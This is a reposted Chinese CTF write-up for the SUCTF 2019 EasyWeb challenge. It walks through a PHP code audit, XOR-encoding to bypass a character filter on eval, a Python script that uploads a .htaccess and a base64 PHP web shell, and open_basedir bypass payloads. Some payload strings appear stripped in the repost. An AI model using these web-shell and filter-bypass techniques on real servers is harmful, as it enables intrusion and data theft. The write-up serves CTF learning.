• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

[SUCTF 2019]EasyWeb

武飞扬头像
pakho_C
帮助1

代码审计

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".") 1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F] /i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>
学新通

1.count_chars() 函数
cont_chars(str, mode)
返回一个字符串,包含所有在 “Hello World!” 中使用过的不同字符(模式 3):

<?php
$str = "Hello World!";
echo count_chars($str,3);
?> 

运行结果:
!HWdelor

2.strrpos()
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)
语法
strrpos(string,find,start)
查找 “php” 在字符串中最后一次出现的位置:

<?php
echo strrpos("I love php, I love php too!","php");
?>

运行结果:19

3.mb_strpos
mb_strpos函数用于查找字符串在另一个字符串中首次出现的位置,其使用语法是
mb_strpos(string $haystack,string $needle,int $offset = 0…
haystack
要被检查的 string。
needle
在 haystack 中查找这个字符串。 和 strpos() 不同的是,数字的值不会被当做字符的顺序值。
offset
搜索位置的偏移。如果没有提供该参数,将会使用 0。负数的 offset 会从字符串尾部开始统计

4.exif_imagetype()
exif_imagetype()函数是PHP中的内置函数,用于确定图像的类型
用法:
exif_imagetype(string $filename): int|false
exif_imagetype()读取图像的第一个字节并检查其签名

<?php
if (exif_imagetype('image.gif') != IMAGETYPE_GIF) {
    echo 'The picture is not a gif';
}
?>

运行结果:
The picture is not a gif

解题整体思路:
传入GET型参数 _ 赋值给 $hhh ,先是strlen限制长度,然后正则过滤,然后使用count_chars函数做一个检查,最后执行eval( $hhh),显然是要通过hhh参数来执行get_the_flag函数

preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F] /i', $hhh)

过滤了数字字母,绕过方法一般有异或 取反,参看p神的一些不包含数字和字母的webshell
本题把~过滤了,所以没法取反绕过
异或绕过的原理:两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可

php的eval()函数在执行时如果内部有类似"abc"^"def"的计算式,那么就先进行计算再执行,我们可以利用再创参数来实现更方便的操作,例如传入?a=$ _GET[b],由于b不受限制就可以任意传值了,不过
注意1:
在测试过程中发现问题,类似phpinfo();的,需要将后面的();放在第个参数的后面,例如url?a={_GET}{b}();&b=phpinfo,也就是?a=$ { ^ }{}();&=phpinfo,在传入后实际上为${???^???}{?}();但是到了eval()函数内部就会变成 ${_GET}{?}();成功执行。

注意2:
测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是php的use of undefined constant特性,例如 $ {_GET}{a}这样的语句php是不会判为错误的,因为{}使用来界定变量的,这句话就是会将_GET自动看为字符串,也就是$_GET[‘a’]

构造方法
首先找哪些字符可以用,打印出它们的ascii码

<?php
for($ascii=0;$ascii<256;$ascii  ){
    if ( !preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F] /i', chr($ascii)) )
    {
        echo $ascii.',';
    }
}
// 33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,
// 130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,
// 149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,
// 168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,
// 187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,
// 206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,
// 225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,
// 244,245,246,247,248,249,250,251,252,253,254,255
?>
学新通

构造目标:?_=$_GET[_]();&_=phpinfo
[]可以使用{}代替,需要得到的字符就是_GET,编写python脚本:

def func(str):
    s=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,
       94,123,125,128,129,130,131,132,133,134,135,136,137,138,
       139,140,141,142,143,144,145,146,147,148,149,150,151,152,
       153,154,155,156,157,158,159,160,161,162,163,164,165,166,
       167,168,169,170,171,172,173,174,175,176,177,178,179,180,
       181,182,183,184,185,186,187,188,189,190,191,192,193,194,
       195,196,197,198,199,200,201,202,203,204,205,206,207,208,
       209,210,211,212,213,214,215,216,217,218,219,220,221,222,
       223,224,225,226,227,228,229,230,231,232,233,234,235,236,
       237,238,239,240,241,242,243,244,245,246,247,248,249,250,
       251,252,253,254,255]
    for i in s:
        for j in s:
            if chr(i^j)==str and hex(i)=='0x81': #hex(i)可以指定其他任意值,只要异或出来为指定的字符即可
                #print(chr(j),chr(i))
                print(hex(j),hex(i))

string = "_GET"
for m in string:
    func(m)
学新通

得到满足条件的字符的hex编码

0xde 0x81
0xc6 0x81
0xc4 0x81
0xd5 0x81

payload:

?_=${^}{}();&=phpinfo

学新通
在phpinfo里找到flag了。。。
学新通
尝试一下另外的方法

知道方法之后就需要构造执行get_the_flag函数的异或payload:?_=${^}{}();&=get_the_flag

分析get_the_flag函数:

$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".") 1);
if(preg_match("/ph/i",$extension)) die("^_^");

要求上传的文件后缀不能有ph

if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");

文件内容不能有<?
由于< script language=“php”> </ script>在php7已经不支持了,所以考虑其他方法

if(!exif_imagetype($tmp_name)) die("^_^");

检查是否是图像,可以添加幻术头GIF98a绕过

思路:文件上传绕过:上传.htaccess文件

添加GIF98a在开头会返回500状态码,参考别人的wp才知道不行,有2种绕过方法
法一.添加

#define width 1337
#define height 1337

法二:

在.htaccess前添加x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用python的bytes类型) x00x00x8ax39x8ax39 是wbmp文件的文件头
.htaccess中以0x00开头的同样也是注释符,所以不会影响.htaccess

这里采用法一:

#define width 1
#define height 1
AddType application/x-httpd-php .r
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_837ec5754f503cfaaee0929fd48974e7/shell.r"

上传文件脚本:

import requests
import base64

url = "http://fc5e19e8-2ac4-470f-86f8-9e0604126180.node4.buuoj.cn:81/?_=${^}{}();&=get_the_flag"

htaccess = b"""
#define width 1
#define height 1
AddType application/x-httpd-php .r
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_c47b21fcf8f0bc8b3920541abd8024fd/shell.r"
"""
shell = b"GIF89a00"   base64.b64encode(b"<?php eval($_POST[1]);?>")


file1 = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file1)
print(res.text)

file2 = {'file':('shell.r',shell,'image/jpeg')}
data = {"upload":"submit"}
res = requests.post(url = url,data = data,files = file2)
print(res.text)
学新通

学新通
上传成功,使用hackbar验证一下:
学新通
成功
使用蚁剑连接
学新通

在根目录下找到flag,但是看其他wp好像原题还有一层限制,需要绕过open_basedir,否则不能查看根目录
参考:open_basedir bypass

这里利用chdir()与ini_set()组合bypass

1=mkdir('r1');chdir('r1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

学新通
在根目录找到flag
读取

1=mkdir('r1');chdir('r1');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('THis_Is_tHe_F14g'));

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgbhbik
系列文章
更多 icon
同类精品
更多 icon
继续加载